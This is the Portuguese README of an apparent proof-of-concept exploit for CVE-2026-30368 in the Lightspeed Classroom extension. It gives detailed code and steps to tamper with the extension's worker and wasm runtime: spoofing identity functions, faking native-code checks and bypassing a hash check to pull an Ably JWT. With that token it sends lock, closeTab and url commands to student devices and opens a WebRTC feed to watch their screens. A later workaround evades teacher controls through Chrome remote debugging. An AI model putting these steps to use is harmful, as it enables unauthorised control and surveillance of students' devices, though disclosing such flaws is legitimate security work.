
Prova de conceito de exploit para CVE-2026-30368, demonstrando bypass de autenticação no Lightspeed Classroom para controlar dispositivos de alunos via canal Ably.
[!IMPORTANT]
Isto foi corrigido e agora requer credenciais, use o workaround para executar ações em você mesmo.
A CVE-2026-30368 permite que um invasor controle dispositivos de estudantes através de uma falha de autenticação fraca no gerenciamento de sala de aula Lightspeed Classroom. A POC (poc.js) executa o service worker da extensão LS Classroom em contexto global. O worker também executa classroom.wasm para algumas funções. wasm-loader.js carrega o worker e extrai o token JWT gerado por classroom.wasm. Uma vez extraído, ele encerra o worker e envia o token para as APIs da Lightspeed para receber um token usado para conectar ao canal Ably do alvo. A partir daí, um invasor poderia enviar um comando para um dispositivo de estudante. A lista de comandos e muito mais informações está no writeup completo localizado aqui.
Eles não podem estar neste repositório porque:
Para evitar problemas, recomendo usar a versão 5.1.2.1763770643. Se precisar de ajuda para adaptar versões mais novas, você está por conta própria.
Você pode obter os arquivos worker.js e classroom.wasm do código-fonte da extensão Lightspeed. Isso pode ser obtido fazendo login com sua conta escolar no Chrome em um dispositivo pessoal e extraindo o código-fonte da extensão da pasta de extensões localizada no diretório do seu perfil do Chrome. Você também pode baixar manualmente o crx através da URL de atualização.
O método mais fácil desta exploração é primeiro obter classroom.wasm do código-fonte da sua extensão, colá-lo no mesmo diretório de wasm-only.js e executar:
$ node wasm-only.js
Digite um email e ID de cliente quando solicitado. Isso conectará ao canal ably. Vá para a linha 815 e descomente o que você quer enviar como mensagens. Crédito: ktibow no discord
Depois de ter os arquivos, basta adicioná-los ao diretório do repositório clonado. Você terá que ir em wasm-loader.js até a função getManifest() e colar seu manifest da extensão lá. Você também terá que adicionar o ID da extensão em wasm-loader.js no topo.
Faça uma cópia de worker.js com um nome de arquivo de sua preferência. Você precisará dela mais tarde. Você precisará executar worker.js através do webcrack para desofuscar e desminificar para realizar as modificações necessárias. Ao fazer isso, certifique-se de selecionar apenas as opções "Deobfuscate" e "Unminify". Antes de colar o resultado de volta no seu editor, é recomendado desligar todos os servidores LSP porque eles removerão variáveis aleatórias e farão o worker quebrar em etapas subsequentes (estou olhando para você, vtsls...)
Como o service worker será executado no node.js (certifique-se de tê-lo instalado), ele precisará de alguns ajustes para funcionar corretamente. A lógica de extração do JWT também precisa ser adicionada. Adicione as seguintes 2 funções bem no topo de worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Estas serão usadas quando modificarmos o runtime go do wasm para interceptar e modificar valores usados pelo wasm do LS classroom.
Certifique-se de substituir YOUR_EXTENSION_ID pelo seu ID de extensão e worker_copy.js pelo nome do arquivo da cópia do worker.js original que você fez anteriormente.
Em seguida, adicione estas 2 funções dentro da função de seta principal (após o (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Em seguida, você precisa codificar IsClassroomActive como true para que possa executar isso fora de redes do campus. Simplesmente mude a função para sempre retornar true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Depois, procure por syscall/js.valueCall para encontrar a função valueCall que precisa ser modificada. É isso que informa ao wasm sobre um valor JS. Os 2 valores que são interceptados e alterados ao modificar esta função são o caminho de worker.js (é alterado para a cópia do seu worker para que a verificação de hash passe) e o valor de chrome.identity.getProfileUserInfo.toString é alterado para dizer native code para que o WASM acredite que pode ser confiável quando na realidade foi modificado no topo do arquivo. Para fazer isso, você precisa usar as funções valueCallBefore e valueCallAfter que definimos no topo. Modifique a função valueCall assim (os nomes das variáveis variarão, mas a estrutura é a mesma):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Quase pronto. Por último, você precisa adicionar código para capturar o JWT. Procure por echoMessages: false e você encontrará a variável contendo a lista de cabeçalhos enviados ao Ably. Logo abaixo disso, adicione esta linha (os nomes das variáveis provavelmente não serão precisos, você pode encontrar a mesma linha acessando ablyJwt em authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Isso atribui o JWT a uma variável no escopo global para que wasm-loader.js (o "harness" que executa o service worker) possa acessá-lo. Isso conclui a modificação do worker. Certifique-se de que todos os seus LSPs ainda estejam desligados. Se eles ligarem novamente, você pode ter problemas com variáveis indefinidas mais tarde.
Vá para o arquivo poc.js. No topo, adicione o email e o ID de Cliente de uma conta que você deseja testar (de preferência a sua). Usar um ID de cliente diferente do seu lançará um erro, pois você precisa ter os arquivos worker.js e classroom.wasm corretos correspondentes àquele ID de cliente.
A chave da API Ably em poc.js está redigida por razões legais, então você terá que encontrá-la você mesmo. Procure por ela em worker.js, ela começa com G52. Seu ID de cliente também pode ser encontrado no mesmo lugar, procure por CUSTOMER_ID: ou procure por uma string neste formato: XX-XXXX-XXXX. Os últimos 3 dígitos geralmente são 000.
Em relação ao user agent, você pode defini-lo como quiser, mas a AWS pode bloquear certos UAs associados a ferramentas de automação.
Depois de fazer tudo isso, vá para o final e você pode adicionar uma mensagem para ser enviada ao canal Ably do usuário usando publish. As mensagens podem incluir lock, closeTab, url e mais.
A lista completa de mensagens Ably usadas pela Lightspeed está aqui.
Execute o arquivo com node.js, deno ou outro runtime. Bun não funciona.
$ node poc.js
Sinta-se à vontade para expandir a poc e transformá-la em um CLI ou algo assim.
Se alguém estava se perguntando como fazer funcionar a função WebRTC (visualização de telas) do Lightspeed Classroom, é possível, mas é complicado. Você deve atender às seguintes condições para que funcione:
Supondo que você já esteja conectado ao canal Ably do cliente, o seguinte pode ser usado para iniciar uma conexão WebRTC:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
Cabe a você descobrir como visualizar o vídeo (qualquer pessoa com conhecimento básico de HTML e um pouco de pesquisa/IA deve conseguir fazer) mas o código acima estabelece a conexão. Infelizmente o stream será de 1 FPS, mas isso é uma limitação do próprio LS classroom.
Novamente, não posso garantir que isso funcionará o tempo todo porque é muito complicado, mas me avise se conseguir fazer funcionar consistentemente!
Execute pnpm i, coloque o classroom.wasm na raiz do repositório e execute pnpm dev para iniciar o visualizador web.
[!IMPORTANT]
ESTA SEÇÃO REQUER CREDENCIAIS E UM DISPOSITIVO PESSOAL
Em 23 de abril, a Lightspeed começou a distribuir uma correção para esta CVE. Ela adicionou uma nova extensão, Lightspeed Identity Agent (codinome interno: LS One), que fornece ao Classroom um token OAuth do Google para verificar sua identidade. O workaround permite que você execute ações em você mesmo, ou em qualquer outra pessoa para quem você tenha credenciais. Isso só foi testado no Linux.
Primeiro, instale o Google Chrome estável e faça login com uma conta escolar. Certifique-se de que a extensão Lightspeed Identity Agent esteja instalada. Feche o Chrome. Em seguida, copie o diretório de dados do usuário do Chrome para um local temporário. Por exemplo, no Linux: cp -r ~/.config/google-chrome /tmp/chromedata. Coloque seu arquivo classroom.wasm no diretório do repositório. Preencha os valores no topo de oauth-poc.js. Abra um terminal (você o usará mais tarde, mas abra agora). Reinicie o Chrome com os seguintes flags de linha de comando:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
Isso habilitará a depuração remota. Aguarde 15 segundos para o service worker inicializar. Execute oauth-poc.js:
$ node oauth-poc.js
Se você recebeu uma mensagem dizendo que a extensão LS One não pôde ser encontrada, ou você não esperou 15 segundos após iniciar o Chrome, esperou demais e o service worker entrou em modo de espera, ou não preencheu o ID da extensão no topo de oauth-poc.js.
Se você receber um erro 403 ao conectar ao Ably, verifique se você tem o classroom.wasm correto, o email correto e tente mudar para um IP escolar.
Se você não recebeu erros, parabéns! Simplesmente deixe o script rodando e você estará imune a ser bloqueado por professores, fechamento de abas e visualização de tela (experimental).
Por favor, não use esta POC para fins destrutivos. Não sou responsável por quaisquer ações maliciosas que você possa cometer. Como você deve saber, a Lightspeed está dormindo nisso há 3 meses e eu realmente não espero uma correção por mais uma semana (ou mais?...). Espero que isso os faça entender a real gravidade da situação e corrigir mais rápido. Por último, se você por acaso for um cara de TI da escola, envie isso para seus superiores 🙂
♥️, truekas 4.22.2026